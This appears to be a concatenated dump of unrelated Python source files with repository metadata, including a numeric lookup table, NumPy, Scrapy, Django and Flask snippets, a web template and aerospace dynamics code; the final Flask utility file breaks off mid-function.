'99,30':208290558567865331124516752387084851234475157615348952422519376803451921457322617619209202906870928698439313854740,
'99,31':143464222305035570250114943793832183536979480562524222408494656127334171750165066578987252395174872878694100458452,
'99,32':84785548500218026005041405232227830997483816772980017528514179932853753559773225334237505322293973776357949921920,
'99,33':43282450848311428705128801331200303790806728872746603490621841359668132079977253692914110247171490149351892402805,
'99,34':19202655542253451914338581533668689257249980542316479052847009044299507003505397112569379611213285409878151196295,
'99,35':7445391730716341635440594595794873761114812922482734574426759443576946815766971451406237770454835016557119303613,
'99,36':2535730734731059636923721817621309083507731823675237018656181987377566316938053082804797878060770350601652516504,
'99,37':762144873858791584551155964061158849703877278891251744598369204090874091538401695050741934423219602868813225048,
'99,38':203028083940943877486891222581469774944841810962079987611123328763519477021441723105278972615050518140900023404,
'99,39':48125638491952198359314924177718442077384056005926178207001769248786216660842064860541006992945981660902618044,
'99,40':10187856685844590991533373469882616484449973491529311404255182165726693441289755957615465799789815381208252000,
'99,41':1932583071013580059693286058766733459258378387520561547150022160352143911701445916165537450039452758446152820,
'99,42':329530400360952735019655635336711361992212120076410515471164156671588483326850414936201324856064779719508260,
'99,43':50653232249377140016929057410344761984215053085000609634816536858814988470295217044599844650212014972897020,
'99,44':7037744059280084829831345550789038885596913220184463124286203424519280347137378810550741221875727468086000,
'99,45':886033175121789966086388292963609888399180085796240800513716278086500312037617022207301656199028620119200,
'99,46':101310435122225721971479195255074526412652861691662436517882480989986865383598685399423213793152516152920,
'99,47':10543171015115454514420466409922357196208790864497021105598474221194724902616515665577243743000565277720,
'99,48':1000597144537014609859174373979938697725244031785207504361147568836845754778362526979795665393763446400,
'99,49':86758836440426779028241142105956063665763927683310585563849803259270559339118125351353166915797238900,
'99,50':6884488011378791227865463188826052645555127238620600566971838757440195194394713155884901894883895500,
'99,51':500743315773546214245079112378947767538722820626226151030769698179540407405350208278571031660152996,
'99,52':33432945882205560903563037667473489904288738512649673772874511481942680308010001330853791502624080,
'99,53':2051783660241519146738972615135405046802326430452151459494782697101790953287310718242460763590000,
'99,54':115883320628759687144320660423077691739485671265515196145449584104040697422150827645345716326120,
'99,55':6030223904111078056241516382825112357118483568576821387984604941332727809127401686086946769416,
'99,56':289412540046607238420648504155942372803151969419961122117484075366292171930363021872778790336,
'99,57':12822717335376949113482562371997144188522015513446629870255352867646411252639348721499247592,
'99,58':524915663648409609338345539479482071485076223194782223732068369020116956152949157621300776,
'99,59':19868966363401679425167601256531702867724979253965858364835752089594950912844485934752216,
'99,60':695871947596867296759734956062281657869219521982419353854847701340792578804203328668000,
'99,61':22563521573179547510273934281704437204186953977742571368211864645442507937998915620480,
'99,62':677683179123039994605117020170990952433258858300255530627091527746418301104172422640,
'99,63':18861289007878254652685207346729501529603559922264290417784005753539387932483229680,
'99,64':486616943984922149512114420535913065692977879297493070705969354100682174660608000,
'99,65':11640835869348685667411695120239760656021477055931478074443467697194561516920550,
'99,66':258246898109676320474557135807629007055919051558528613892434550956526170629990,
'99,67':5313433851572885885528057795805909278025978162751818688148491754415090927090,
'99,68':101391396406630358890824582741477178206679415166996289234799838086229028050,
'99,69':1794192007887633951071708839407845203507201722971640860289449340207547050,
'99,70':29436977835670539394274505910526482161818253451677128392475738606287425,
'99,71':447656191877270817132824289994199040486798297060073022047076066525805,
'99,72':6307353353443172494938932791932993385538235743503018946184335188200,
'99,73':82295391439847982869898040580743264477375526318362851441615652275,
'99,74':993690346549960302195932047411133405735205694383441337230627375,
'99,75':11095265401097943135722072767708737395941224341776849933823385,
'99,76':114455456213118464595153685565610986024954951369285470995204,
'99,77':1089631452585137355315052694191750886901384015371185810728,
'99,78':9561429342677363301101645492283547797690110393530475274,
'99,79':77221184222463764230862813711863387193803421103029754,
'99,80':573053002859526056595735310585835123034527535780000,
'99,81':3899983934193187986047782414348197490702831526445,
'99,82':24287354204376523513033978571921827865196092635,
'99,83':138051608358919960838741585707797093891055345,
'99,84':714120009506385019641514881734303408638500,
'99,85':3350370310880022925028911253927653271900,
'99,86':14200006063285150427416964617490814690,
'99,87':54118709563864671519407283963922090,
'99,88':184457659080128027452466207199600,
'99,89':558610062656581380194478305850,
'99,90':1491327150001513093915575930,
'99,91':3476262598309347969031910,
'99,92':6990621874874739218040,
'99,93':11943221659424945120,
'99,94':16988240401259820,
'99,95':19567313656044,
'99,96':17526934656,
'99,97':11449977,
'99,98':4851,
'99,99':1,
'100,1':1,
'100,2':633825300114114700748351602687,
'100,3':85896253455335221205584888180155511368666317646,
'100,4':66955751844038698560793085292692610900187911879206859351901,
'100,5':65738408701461898606895733752711432902699495364788241645840659777500,
'100,6':907386911345023079083406397679014564284390400828185193392843892309808651104,
'100,7':641760304840190307864751044030939309688440095427390492572530969170252648239313012,
'100,8':50521083842775347450911577623676878444070923030848241635380926227777207931929945875199,
'100,9':731910426776148750087447127622838199934112090885039523682012720997318553365202691925291225,
'100,10':2754999986711164035029356262910003922476368243643133591265713197865860436127311130380917269755,
'100,11':3449578573599486435425120287513140102420333747414762339355587388408449964823535069059618403408006,
'100,12':1725519772127969428368389932352714786699788736603141719301930202034534902964215256100241752569415211,
'100,13':396430267311123421127581571792497727426244666556958518190269703863630004298236060651298155862571491780,
'100,14':46634897926306278065646115715450692192052327008640955003781754585843092295628815960860268623372118353980,
'100,15':3062206490822909562820632064120457483122472834998917874631075951618188978649426861539153424981655904146000,
'100,16':120332457505341998963920484489598523718942236538388516088714873165139111630036274593995342501588531931654574,
'100,17':2995751836177678978597768856392348742622731359126042536169355281191330703600886873208833294222510758737287235,
'100,18':49534334843842462883730936842179828500579571794680239304507083518947531712321858657187043103522666416235228525,
'100,19':565919633047925981107381875604601084445440915095886716048357230905324091649066102402693189921735858836269668290,
'100,20':4619255470442158738290023277670631349879733690224737295400769553540316688341714252515748587739178140524570560271,
'100,21':27717035643682597418507222922718005608157128469040727602626286166326915355406700892561348345409146351111934157680,
'100,22':125294989835579144074342763461065739449085485665074168625411326213603539890080884868107789382412917223796956852760,
'100,23':435875838867380740940766499435559226354676306402098879040541428460610627350238103094613091693946732309195777163480,
'100,24':1188730589288112719870053571736002359572918793335888353388243940602239209196360308168952771190655621967751062044230,
'100,25':2583201838322744384243067925122507718717046135690409372280573796175934205822199521266779225423646831206939413343750,
'100,26':4537527839303834829299254917514347343698769387503690828192117351838424242236021586972938240032041589104231235596674,
'100,27':6525193318580568809030556042920494377779201783449562107089710534895663318872882988009475079960298228152127397493892,
'100,28':7769730053598745155212806612787584787397878128370115840974992570102386086289805848025074822404843545178960761551674,
'100,29':7738652447739997493858632220560361256747915178848966702815547266308379968578056309227907385347583923968843615837800,
'100,30':6506288053843861997821187922633927431869469129371725189024935841681894639714880686192900322495541040401546012455480,
'100,31':4655681450023968008878080009995882540880839055053599847085853716750811245712439681567814027157291987937956428066752,
'100,32':2856601774312012402411439911225122775456461617297884783320948413978654285662908277274587422708582033722148497959892,
'100,33':1513106426494495173274291849161837856094105869573617932719034944801902112199022597200403143478953148704970399214485,
'100,34':696172739284928793792640573475935738537306067311506891287420148865851370199160755520273017028423194085209033076835,
'100,35':279791366117325409154759392386489270896268432829212189157783589569492645555349397911787701577132510989377326822750,
'100,36':98731698181034488564694580030162000767393158574791267246049310989169334225536882432378961380642567638216609897757,
'100,37':30735091067506348265316492487884186522551191142651551568795842538739907703858915799682249451719895656747741843280,
'100,38':8477212063614658929053022422157010297607866095450291273821055697104614218353187173051342893795139292223014114400,
'100,39':2079927985127079613500173265512489015962819995193200937684192329466181926794282252666378245339943802916102127120,
'100,40':455639905925735838020649862973023101455382995667098634377209055877853954312432303165159638984538596909232698044,
'100,41':89423762597401373438958101879318688314043487379872334837406090740164593821049038520402501251407378477500517620,
'100,42':15772859886173594930518822742908610662931287430729803196938916740558860211429163343485993093994173506665499740,
'100,43':2507619387084169755747605103981536127313459402731436729768275241600632987549544747853994644815181423554080120,
'100,44':360313970857700872529508261645062472950479234773116987103409487537663323744339884708832458412744023568681020,
'100,45':46909236939760633303718818734151483863560017081015299147403435938411794388830144809879315750832015373450000,
'100,46':5546313190744173176774431274697038103381211723612712880336310403625896119683156550580769490684044363153520,
'100,47':596839472832652084149241116521425314634466032323022428481010769386138935806574921681553669714179084205760,
'100,48':58571833952892155787660836360959414687020504390186981314933557525363321131977916960607435681901210704920,
'100,49':5251780130117926782242990337171785817347676488267426196989787928541103162395150669196100844267828152500,
'100,50':430983237009366340421514301547258695943520289614340613912441741131280319058853783145598261659992013900,
'100,51':32422397115829648154364497920152388790029991090558134269541093364596755972067573778092024509551698296,
'100,52':2239256501648235381230357071087569242561737223284009187220244295240559783421870277482968189796605156,
'100,53':142177479875006075680728586269649957384812039326613701126097994428337600832237469397704211972894080,
'100,54':8309482974194542252532288277981600400734552678789972051349060238719988614083455411091129445200480,
'100,55':447545635354868980237604061478458871381002267537240372484602855877340726924157920380127788644000,
'100,56':22237326146721083407797832615557885234094993856094644226563713161845089437227730910962559028232,
'100,57':1020307428163093337889154559359779591548906853686419024722039188822137613330805898998235903080,
'100,58':43267825826984706455106603661807104334656436458743998846715318270813194709510399863534692600,
'100,59':1697184679089108695423234013614852540680849999178767867257377742306219060010773827771681520,
'100,60':61621283219213717230751698620268602339878150572911019596126614170042505641096685654832216,
'100,61':2072246763560819694886444947246252327324623714624716207315771444712785563022137181517280,
'100,62':64579878678808027175791189532305876255049003192358414267091539365720442606457605824160,
'100,63':1865944386619370037724285083014949548798283133402905826947483890219399740850615892480,
'100,64':50004773422913272221460530261027937733954144197303846942966044415983047110762141680,
'100,65':1243271275492586717893874603351497508334373887933039145544794754418328673260443750,
'100,66':28685131144587322818732466083543275121712134458794366591344148060325288778499890,
'100,67':614246966165059674804937008126624928683659588462900465998383498502337262745020,
'100,68':12208048807223750290104129422226357396080178394107566356114880744278664834490,
'100,69':225190644950877101514772492660618497248676334052039508594771842560549774500,
'100,70':3854780456384571708670924253144698954834479464589039847762751042647666800,
'100,71':61220567458956767410705030500114614036380932542942312957818139329619580,
'100,72':901785633325179236768427451013374564245551270592290386172348200076205,
'100,73':12314916928552075244441489754327251692386649164743507101422277804275,
'100,74':155828477084545045232397012089167136501780747702737510396682078025,
'100,75':1825835251632306037375087504989288710430797520016705082267381250,
'100,76':19793880073294946444953752870695172333837800645842545729458889,
'100,77':198357078062174040954412743018375804316361520552866778421260,
'100,78':1835422941313971692800981042589867615121212626066562882100,
'100,79':15661902896252000675339807775520755386000580660669825840,
'100,80':123065424451225848758521638558730197036565623965429754,
'100,81':888951701529174283465605686148039119781456889422045,
'100,82':5891546978952062914116568657245787375648911122515,
'100,83':35745637698166880262649530185668986658153686270,
'100,84':198037689157456302488628835773478580216689345,
'100,85':998901485931186968268972338318153936750000,
'100,86':4571570832322545861786770211031863335240,
'100,87':18908333795341376849605398322352036520,
'100,88':70350983562915937935224310197486890,
'100,89':234173954656563770289774776420250,
'100,90':692829506156717558646880139550,
'100,91':1807667046447663759097479740,
'100,92':4119399810797823977091590,
'100,93':8101341489201259114200,
'100,94':13540116257143368200,
'100,95':18847135198584000,
'100,96':21249899383020,
'100,97':18637582425,
'100,98':11925375,
'100,99':4950,
'100,100':1,
}
|
[
"creigh48@students.rowan.edu"
] |
creigh48@students.rowan.edu
|
997901aebe00cce7bbdcae96838346c635be2055
|
d9e7bd5f582dd3d1a63fb10197896d462ce49027
|
/numpy/numpy math operations.py
|
51702955071fd17349be31d20124a9124caf0295
|
[] |
no_license
|
abhinai96/Python_conceptual_based_programs
|
137aa8d4c1354ba7586f7ec2dea6683109cf9393
|
795883b28389ae2b0c46ddacea493530f40774a6
|
refs/heads/master
| 2022-12-15T11:57:28.862114
| 2020-09-15T03:10:35
| 2020-09-15T03:10:35
| 295,593,691
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 372
|
py
|
"""import numpy as np
a=np.array([[1,2,3],[4,5,6]])
b=np.add(a,1)
b=np.subtract(a,2)
b=np.multiply(a,3)
b=np.divide(a,2)
b=np.power(a,2)
print(b)"""
"""import numpy as np
a=np.array([[1,2,3],[4,5,6]])
b=np.array([[2,3,4],[5,8,9]])
print(np.add(a,b))
print(np.subtract(a,b))
print(np.multiply(a,b))
print(np.divide(a,b))
print(np.power(a,b))"""
|
[
"noreply@github.com"
] |
abhinai96.noreply@github.com
|
176bac1bd266da86fa90337c9e18ebc111c0c4ac
|
aaa03fa00fd90ebfc61af66cbd2da57df32d5ac7
|
/scrapy-itzhaopin/itzhaopin/itzhaopin/pipelines.py
|
2bcf29814818e4e54d753fd77639abb43b3dfe8f
|
[] |
no_license
|
zcwfeng/python3_demo
|
2f97ddfc05db78e3cde8b20e8f8d7c87fc5590e2
|
c196e922341f17a9455e7d1d2ef1300a1946c1a7
|
refs/heads/master
| 2021-04-03T09:47:01.041273
| 2020-05-21T09:22:14
| 2020-05-21T09:22:14
| 124,347,015
| 3
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,379
|
py
|
# Define your item pipelines here
#
# Don't forget to add your pipeline to the ITEM_PIPELINES setting
# See: http://doc.scrapy.org/en/latest/topics/item-pipeline.html
# from scrapy import Item
import json
import codecs
from scrapy.log import logger
class JsonWithEncodingTencentPipeline(object):
def __init__(self):
self.file = codecs.open('tencent.json', 'w', encoding='utf-8')
# def item2dict(self,obj):
# return {'name': self.obj.name,
# 'catalog': self..catalog,
# 'workLocation': self..workLocation,
# 'recruitNumber': self..recruitNumber,
# 'detailLink': self..detailLink,
# 'publishTime': self..publishTime}
def process_item(self, item, spider):
# dumps(obj, *, skipkeys=False, ensure_ascii=True, check_circular=True,
# allow_nan=True, cls=None, indent=None, separators=None,
# default=None, sort_keys=False, **kw)
# dump(obj, fp, *, skipkeys=False, ensure_ascii=True, check_circular=True,
# allow_nan=True, cls=None, indent=None, separators=None,
# default=None, sort_keys=False, **kw)
line = json.dumps(dict(item),ensure_ascii=False) + "\n"
self.file.write(line)
logger.info(line + "==zcw==="*10)
return item
def spider_closed(self, spider):
self.file.close()
|
[
"zhangchuanwei@fotoable.com"
] |
zhangchuanwei@fotoable.com
|
7d54c7329b35490f552f2a24acca49a2fc6d3aa8
|
3be8b5d0334de1f3521dd5dfd8a58704fb8347f9
|
/web/app/djrq/templates/admin/requests.py
|
11063f8ed78c551414b0bb742de1cc18e5e6d930
|
[
"MIT"
] |
permissive
|
bmillham/djrq2
|
21a8cbc3087d7ad46087cd816892883cd276db7d
|
5f357b3951600a9aecbe6c50727891b1485df210
|
refs/heads/master
| 2023-07-07T01:07:35.093669
| 2023-06-26T05:21:33
| 2023-06-26T05:21:33
| 72,969,773
| 1
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 3,421
|
py
|
# encoding: cinje
: from ..template import page as _page
: from .. import table_class, table_style, caption_args
: from ..helpers.helpers import aa_link
: def requeststemplate page=_page, title=None, ctx=None, requestlist=[], view_status=None, requestinfo=None
: using page title, ctx, lang="en"
: table_class.append('sortable')
<table class="#{' '.join(table_class)}" style="#{' '.join(table_style)}" id='request-table'>
<caption #{caption_args}>${requestlist.count()} Requests
: try
(${ctx.time_length(int(requestinfo.request_length))})
: except TypeError
: pass
: end
<div class='btn-group'>
<button type='button' class='btn btn-xs btn-primary dropdown-toggle' data-toggle='dropdown' aria-haspopup='true' aria-expanded='false'>
Requests To View: ${view_status}<span class='caret'></span>
</button>
<ul class='dropdown-menu'>
: for rv in ('New/Pending', 'Ignored', 'New', 'Pending', 'Played')
: if rv != view_status
<li><a href='/admin/?view_status=${rv}'>${rv}</a></li>
: end
: end
</ul>
</div>
</caption>
<thead>
<tr>
<th>Status</th><th>Artist</th><th>Album</th>
<th>Title</th><th>Length</th><th>Requested By</th>
<th>Comment</th><th>Requested</th><th>Last Played</th>
</tr>
</thead>
<tbody>
: for i, r in enumerate(requestlist)
: try
: use requestrow ctx, r
: except AttributeError
# TODO: Ignore missing songs for now, but this should probably be an error!
: print('Missing song', r.song_id)
<td colspan=7>Came across a bad row in the requests list for song id ${r.song_id}</td></tr>
: end
: if i % 50
: flush
: end
: end
</tbody>
</table>
: end
: end
: def requestrow ctx, row
<tr id='rr_${row.id}'>
<td data-value='${row.status}'>
<div class="btn-group">
<button type="button" class="btn btn-xs btn-primary dropdown-toggle" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
${row.status.capitalize()}<span class="caret"></span>
</button>
<ul class="dropdown-menu">
: for status in ('Ignored', 'New', 'Pending', 'Played', 'Delete')
: if row.status.capitalize() != status
<li><a href=#{"/admin/?change_status&id={}&status={}".format(row.id, status.lower())}>${status.capitalize()}</a></li>
: end
: end
</ul>
</div>
</td>
: use aa_link row.song.artist, 'artist', td=True
: use aa_link row.song.album, 'album', td=True
<td>${row.song.title}</td>
<td>${ctx.format_time(row.song.time)}</td>
<td>${row.name}</td>
<td>${row.msg}</td>
<td data-value='${row.t_stamp}'>${ctx.time_ago(row.t_stamp)}</td>
: try
<td data-value='${row.song.played[0].date_played}'>${row.song.played[0].played_by} ${ctx.time_ago(row.song.played[0].date_played)}</td>
: except
<td data-value=''> </td>
: end
</tr>
: end
|
[
"bmillham@gmail.com"
] |
bmillham@gmail.com
|
04e971ab9af6aae7f529afeebda613641bb3d497
|
b1ddae0f702f7af4a22ccf8e57eccb6778eaa8a5
|
/apps/organization/migrations/0002_auto_20180529_2134.py
|
c3451765bb35140634aa8816b5b519cf7a22089a
|
[] |
no_license
|
MoNaiZi/Mxoinline3
|
1cd1effa716bacbe4a7fc83c4687adc1fdbbea03
|
8d8ba1322fbaefcf8767160e1e2d05afc755fe5c
|
refs/heads/master
| 2020-03-17T00:03:41.868735
| 2018-07-11T00:48:09
| 2018-07-11T00:48:09
| 133,101,988
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 749
|
py
|
# -*- coding: utf-8 -*-
# Generated by Django 1.9.8 on 2018-05-29 21:34
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('organization', '0001_initial'),
]
operations = [
migrations.AddField(
model_name='courseorg',
name='category',
field=models.CharField(choices=[('pxjg', '培训机构'), ('gx', '高校'), ('gr', '个人')], default='pxjg', max_length=20, verbose_name='机构类别'),
),
migrations.AlterField(
model_name='courseorg',
name='image',
field=models.ImageField(upload_to='org/%Y/%m', verbose_name='Logo'),
),
]
|
[
"you@example.com"
] |
you@example.com
|
a94bd8d35ec886ef9678e4a31c0c336f16712b7c
|
c8fe553445c620ffb715603324d71e797158e5ad
|
/GreenBook/GreenBook/RandomUserAgent.py
|
2e32f3b7308b5abf8423e227cd2f9e4533c3684c
|
[] |
no_license
|
hudie8655/thegreenbook
|
8f9324ea23b6fc628339d3e35922b4fefdc7275d
|
7ab4f2881e64c6568cb8cc0ce42d246bef35a97d
|
refs/heads/master
| 2021-01-12T17:22:49.731786
| 2016-10-23T16:33:35
| 2016-10-23T16:33:35
| 71,554,191
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 464
|
py
|
import random
import base64
class RandomUserAgent(object):
"""Randomly rotate user agents based on a list of predefined ones"""
def __init__(self, agents):
self.agents = agents
@classmethod
def from_crawler(cls, crawler):
return cls(crawler.settings.getlist('USER_AGENTS'))
def process_request(self, request, spider):
print "**************************" + random.choice(self.agents)
request.headers.setdefault('User-Agent', random.choice(self.agents))
|
[
"hudie8655@yeah.net"
] |
hudie8655@yeah.net
|
b518a04c6e2496f490141f6a2b2b1c17a5d50ded
|
d1ebcdd2e1a73481ca653e5d8d867919ccb72d36
|
/hector_quadrotor_tutorials/build/hector_gazebo/hector_gazebo_thermal_camera/catkin_generated/pkg.installspace.context.pc.py
|
785d7a7f5965e4295f317735265fb954d9981600
|
[] |
no_license
|
lpangco/autonomous_navigation
|
7d9ac9305810eb39591bc096ba2295e25e669b3b
|
740c7ef6d488a7f21513ae5429a3fb4a1e355dc6
|
refs/heads/main
| 2023-01-22T09:24:03.399001
| 2020-12-02T06:03:18
| 2020-12-02T06:03:18
| 317,762,887
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 527
|
py
|
# generated from catkin/cmake/template/pkg.context.pc.in
CATKIN_PACKAGE_PREFIX = ""
PROJECT_PKG_CONFIG_INCLUDE_DIRS = "/home/user/hector_quadrotor_tutorials/install/include".split(';') if "/home/user/hector_quadrotor_tutorials/install/include" != "" else []
PROJECT_CATKIN_DEPENDS = "gazebo_plugins".replace(';', ' ')
PKG_CONFIG_LIBRARIES_WITH_PREFIX = "".split(';') if "" != "" else []
PROJECT_NAME = "hector_gazebo_thermal_camera"
PROJECT_SPACE_DIR = "/home/user/hector_quadrotor_tutorials/install"
PROJECT_VERSION = "0.5.1"
|
[
"vkuppa@gmail.com"
] |
vkuppa@gmail.com
|
becb25d9623622c04069bbab038ff928915c8183
|
0d960d28ccea4b185674f96aa44662b0e6b1f38a
|
/6007_17196906(AC).py
|
91b417ed2ca651a3538df3084ba194b632f60b8d
|
[] |
no_license
|
HaiSeong/codeup200byPython
|
e61a46a03866ab8e2b3ed4a9b2ed4c326fdec27f
|
7edc50f4a6b934afa38030dc712d74aaaaeca6c8
|
refs/heads/master
| 2023-03-13T09:18:50.373883
| 2021-03-03T17:02:01
| 2021-03-03T17:02:01
| 340,541,137
| 1
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 44
|
py
|
print("\"C:\\Download\\\'hello\'.py\"")
|
[
"wjdgotjd9908@gmail.com"
] |
wjdgotjd9908@gmail.com
|
67a530a6d03c054ad70128af005176291b20fa57
|
a6d26798db496f5e318417ffc3b9ac9399d05767
|
/derivation/dynamics.py
|
7dba56500ecccb517873dcf59fd9c2456e2ffec4
|
[
"LicenseRef-scancode-warranty-disclaimer"
] |
no_license
|
AlexFang0214SH/simupy-flight
|
d96a0847823b86291cadb790a05dd7f04e965682
|
c32c7dc19b57d063100e8b7be1142e0634d5fec0
|
refs/heads/master
| 2023-06-11T15:56:16.282564
| 2021-06-04T20:52:25
| 2021-06-04T20:52:25
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 3,505
|
py
|
import numpy
def tot_aero_forces_moments(self, qbar, Ma, Re, V_T, alpha, beta, p_B, q_B, r_B, *args):
[CD_b, CS_b, CL_b, CLcal_b, CMcal_b, CNcal_b, Cp_b, Cq_b, Cr_b] = self.base_aero_coeffs(alpha,beta,Ma,Re).ravel()
[CD_e, CS_e, CL_e, CLcal_e, CMcal_e, CNcal_e, Cp_e, Cq_e, Cr_e] = self._input_aero_coeffs(alpha,beta,Ma,Re,*args).ravel()
x0 = -CL_b - CL_e
x1 = numpy.sin(alpha)
x2 = numpy.cos(alpha)
x3 = numpy.cos(beta)
x4 = -CD_b - CD_e
x5 = x3*x4
x6 = CS_b + CS_e
x7 = numpy.sin(beta)
x8 = x6*x7
x9 = -x0*x1 + x2*x5 - x2*x8
x10 = self.S_A*qbar
x11 = x3*x6 + x4*x7
x12 = x0*x2 + x1*x5 - x1*x8
x13 = self.z_com - self.z_mrc
x14 = self.y_com - self.y_mrc
x15 = numpy.select([numpy.greater(V_T, 0.0)], [(1/2)/V_T], default=0.0)
x16 = self.x_com - self.x_mrc
return (numpy.array([x10*x9, x10*x11, x10*x12, self.a_l*x10*(CLcal_b + CLcal_e + self.a_l*p_B*x15*(Cp_b + Cp_e) - (x11*x13 - x12*x14)/self.a_l), self.c_l*x10*(CMcal_b + CMcal_e + self.c_l*q_B*x15*(Cq_b + Cq_e) - (x12*x16 - x13*x9)/self.c_l), self.b_l*x10*(CNcal_b + CNcal_e + self.b_l*r_B*x15*(Cr_b + Cr_e) - (-x11*x16 + x14*x9)/self.b_l)]))
def dynamics_output_function(self, t, p_x, p_y, p_z, q_0, q_1, q_2, q_3, v_x, v_y, v_z, omega_X, omega_Y, omega_Z, lamda_D, phi_D, h_D, psi, theta, phi, rho, c_s, mu, V_T, alpha, beta, p_B, q_B, r_B, V_N, V_E, V_D, W_N, W_E, W_D, *args):
qbar = (1/2)*V_T**2*rho
Ma = V_T/c_s
Re = V_T*self.d_l*rho/mu
[F_ax, F_ay, F_az, Lcal, Mcal, Ncal] = self.tot_aero_forces_moments(qbar,Ma,Re,V_T,alpha,beta,p_B,q_B,r_B,*args).ravel()
[Phi_x, Phi_y, Phi_z, tau_x, tau_y, tau_z] = self._input_force_moment(t,p_x,p_y,p_z,q_0,q_1,q_2,q_3,v_x,v_y,v_z,omega_X,omega_Y,omega_Z,lamda_D,phi_D,h_D,psi,theta,phi,rho,c_s,mu,V_T,alpha,beta,p_B,q_B,r_B,V_N,V_E,V_D,W_N,W_E,W_D,qbar,Ma,Re,*args).ravel()
[F_x, F_y, F_z, M_x, M_y, M_z] = numpy.array([F_ax + Phi_x, F_ay + Phi_y, F_az + Phi_z, Lcal + tau_x, Mcal + tau_y, Ncal + tau_z]).ravel()
x0 = 1/self.m
x1 = self.I_yz**2
x2 = self.I_xz**2
x3 = self.I_xy**2
x4 = self.I_yy*self.I_zz
x5 = self.I_xy*self.I_yz
x6 = 1/(self.I_xx*x1 - self.I_xx*x4 + 2*self.I_xz*x5 + self.I_yy*x2 + self.I_zz*x3)
x7 = omega_Y**2
x8 = omega_Z**2
x9 = omega_X*omega_Y
x10 = omega_Y*omega_Z
x11 = omega_X*omega_Z
x12 = -self.I_xy*x11 + self.I_xz*x9 + self.I_yy*x10 + self.I_yz*x7 - self.I_yz*x8 - self.I_zz*x10 + M_x
x13 = self.I_xz*self.I_yy + x5
x14 = omega_X**2
x15 = self.I_xx*x9 + self.I_xy*x14 - self.I_xy*x7 - self.I_xz*x10 - self.I_yy*x9 + self.I_yz*x11 + M_z
x16 = self.I_xy*self.I_zz + self.I_xz*self.I_yz
x17 = -self.I_xx*x11 + self.I_xy*x10 - self.I_xz*x14 + self.I_xz*x8 - self.I_yz*x9 + self.I_zz*x11 + M_y
x18 = self.I_xx*self.I_yz + self.I_xy*self.I_xz
return (numpy.array([F_x*x0, F_y*x0, F_z*x0, -x6*(x12*(-x1 + x4) + x13*x15 + x16*x17), -x6*(x12*x16 + x15*x18 + x17*(self.I_xx*self.I_zz - x2)), -x6*(x12*x13 + x15*(self.I_xx*self.I_yy - x3) + x17*x18)]))
def mrc_to_com_cpm(self):
return (numpy.array([[0, -self.z_com + self.z_mrc, self.y_com - self.y_mrc], [self.z_com - self.z_mrc, 0, -self.x_com + self.x_mrc], [-self.y_com + self.y_mrc, self.x_com - self.x_mrc, 0]]))
def body_to_wind_dcm(alpha, beta):
x0 = numpy.cos(alpha)
x1 = numpy.cos(beta)
x2 = numpy.sin(beta)
x3 = numpy.sin(alpha)
return (numpy.array([[x0*x1, x2, x1*x3], [-x0*x2, x1, -x2*x3], [-x3, 0, x0]]))
|
[
"benjamin.margoliss@nasa.gov"
] |
benjamin.margoliss@nasa.gov
|
c540079abf47e3d90d1968f426d0bde75dc47272
|
5970260ef09a03c68fc8f4d51d2aeef148a0e4c7
|
/app/utility - Copy.py
|
4d03c6323d127b81ed8e7914633acff2f1f3fc85
|
[] |
no_license
|
ritchie2007/financial-computing-app
|
b82d459856afb2caaba8d5355e659ae9de802851
|
01a31cd067f7e7afc1ce9d65044bb3bfaa05eab3
|
refs/heads/master
| 2023-03-25T06:14:10.079448
| 2020-12-23T04:15:03
| 2020-12-23T04:15:03
| 260,816,679
| 0
| 0
| null | 2021-03-20T05:16:32
| 2020-05-03T02:51:27
|
JavaScript
|
UTF-8
|
Python
| false
| false
| 42,990
|
py
|
from random import random
import time
from time import strftime, localtime
from datetime import timedelta, datetime #, date
from pytz import timezone
from dateutil.relativedelta import relativedelta
from flask_login import current_user, login_user, logout_user, login_required
from flask import render_template, flash, redirect, request, url_for, session, make_response, json
from flask import send_from_directory, send_file, after_this_request
from sqlalchemy import desc, asc, func, or_ # for table.order_by(Task.enddate).all()
from app import app, db
from app.forms import LoginForm, RegistrationForm, EditProfileForm, WebNavForm
from app.models import User, Data_table, activity_code, CorporationReport, Staff, Task, \
Timesheet, Corporation, Individual, Userlog, Mulform, TimesheetTempData
import os
import openpyxl
from openpyxl import Workbook, load_workbook # pip install openpyxl
from openpyxl.styles import Font, Color, colors, PatternFill, Border, borders, fills, Fill, alignment, Alignment
from openpyxl.utils import get_column_letter
from openpyxl.chart import BarChart, Reference, Series, LineChart, ScatterChart
def month_offset(start_date, number_of_month):
return datetime.strptime(start_date, '%Y-%m-%d') + relativedelta(months=number_of_month)
# printmonth(-3))
print(month_offset('2019-01-31', 1))
def get_id_from_name(name, start, count):
id_list = []
for i in range(count):
item = ((name[i+start].split(" | "))[0].lstrip(' ').lstrip('0'))
if item not in id_list and item != "" :
id_list.append(item)
# for i in ran len(id_list)):
# id_lisend("")
return(id_list)
def indiv_to_corp_contact(value1, corpid, oper, value0):
print(' --- contact ---')
print(value1)
if value0 == "":
value0 = []
else:
value0 = value0.split(',')
if oper < 2:
if len(value0) > 0:
for x in value0:
if x not in value1:
my_data = Corporation.query.get(x)
tmp = (my_data.contact)
if len(tmp) > 0:
tmp = (my_data.contact).split(',')
if str(corpid) in tmp:
tmp.remove(str(corpid))
my_data.contact = ",".join(tmp)
db.session.commit()
for x in value1:
my_data = Corporation.query.get(x)
if my_data.contact == "":
my_data.contact = str(corpid)
else:
print(" -- my_data -- " + my_data.contact)
tmp = (my_data.contact).split(',')
if (str(corpid) not in tmp):
tmp.append(str(corpid))
my_data.contact = ",".join(tmp)
print(my_data.contact)
db.session.commit()
elif oper == 2:
if len(value0) > 0:
for x in value0:
my_data = Corporation.query.get(x)
tmp = (my_data.contact)
if len(tmp) >0:
tmp = (my_data.contact).split(',')
if str(corpid) in tmp:
tmp.remove(str(corpid))
my_data.contact = ",".join(tmp)
db.session.commit()
def corp_contact_to_indiv(value1, corpid, oper, value0):
print(' --- utility contact ---')
if value0 == "":
